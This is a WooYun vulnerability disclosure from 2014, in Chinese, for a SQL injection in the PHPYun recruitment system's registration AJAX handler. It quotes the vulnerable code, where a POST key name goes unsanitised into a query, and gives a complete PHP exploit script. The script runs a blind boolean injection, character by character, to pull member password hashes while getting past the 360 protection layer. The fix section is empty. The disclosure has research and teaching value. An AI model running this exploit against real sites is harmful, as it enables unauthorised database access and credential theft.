WooYun.org

漏洞概要 关注数(8) 关注此漏洞

缺陷编号： WooYun-2014-68670

漏洞标题： Phpyun注入一枚绕过360注射附exp

相关厂商： php云人才系统

漏洞作者： ′雨。

提交时间： 2014-07-16 10:23

公开时间： 2014-10-14 10:24

漏洞类型： SQL注射漏洞

危害等级： 高

自评Rank： 20

漏洞状态： 厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 help@wooyun.org

Tags标签： 无

3人收藏 收藏

分享漏洞：

漏洞详情

披露状态：

2014-07-16： 细节已通知厂商并且等待厂商处理中
2014-07-16： 厂商已经确认，细节仅向厂商公开
2014-07-19： 细节向第三方安全合作伙伴开放（绿盟科技、唐朝安全巡航、无声信息）
2014-09-09： 细节向核心白帽子及相关领域专家公开
2014-09-19： 细节向普通白帽子公开
2014-09-29： 细节向实习白帽子公开
2014-10-14： 细节向公众公开

简要描述：

可以引入单引号, 但是在这里也不需要引入单引号。

虽然有360 但是还是能注入出密码。

写了个小脚本来跑。（代码很渣 速度很慢 但是还是能跑完整） - - 特么的完全不会写, 太渣了。

详细说明：

function ajax_reg_action(){





		$post = array_keys($_POST);


		$key_name = $post[0];


	


		if($key_name=="username"){


			$username=@iconv("utf-8","gbk",$_POST['username']);


			if($this->config['sy_uc_type']=="uc_center"){


				$this->obj->uc_open();


				$user = uc_get_user($username);


			}else{


				$user = $this->obj->DB_select_once("member","`username`='".$username."'");


			}


			if($this->config['sy_regname']!=""){


				$regname=@explode(",",$this->config['sy_regname']);


				if(in_array($username,$regname)){


					echo 2;die;


				}


			}


		}else{


			$user = $this->obj->DB_select_once("member","`".$key_name."`='".$_POST[$key_name]."'");


		}


		if(is_array($user)){echo 1;}else{echo 0;}

if($key_name=="username"){


			$username=@iconv("utf-8","gbk",$_POST['username']);


			if($this->config['sy_uc_type']=="uc_center"){


				$this->obj->uc_open();


				$user = uc_get_user($username);


			}else{

漏洞证明：

<?php





$host=$argv[1];





$yu=1;


for($i=0;$i<120;$i++){





$lenth=strlen($result);





if ($lenth==32){





echo "\r\n";


echo "Ok The password is:$result";


exit;





};





$content="username`or%2Bif(ascii(substr(password,$yu,1))<>$i,1,0)#=asd";


$url = $host.'/index.php?m=register&c=ajax_reg';//接收XML地址


$header = "Content-type: text/xml";


$ch = curl_init(); 


curl_setopt($ch, CURLOPT_URL, $url);


curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);


//curl_setopt($ch, CURLOPT_HTTPHEADER, $header);


curl_setopt($ch, CURLOPT_POST, 1);


curl_setopt($ch, CURLOPT_POSTFIELDS, $content);


$response = curl_exec($ch);


if(curl_errno($ch)){


print curl_error($ch);


}


curl_close($ch); 








if(eregi('0',$response)){





echo chr($i);


$result.=chr($i);


$lenth=strlen($result);


$yu=++$yu;


$i=0;


}


}


?>

修复方案：

版权声明：转载请注明来源 ′雨。@乌云

漏洞回应

漏洞评价：

对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分

评价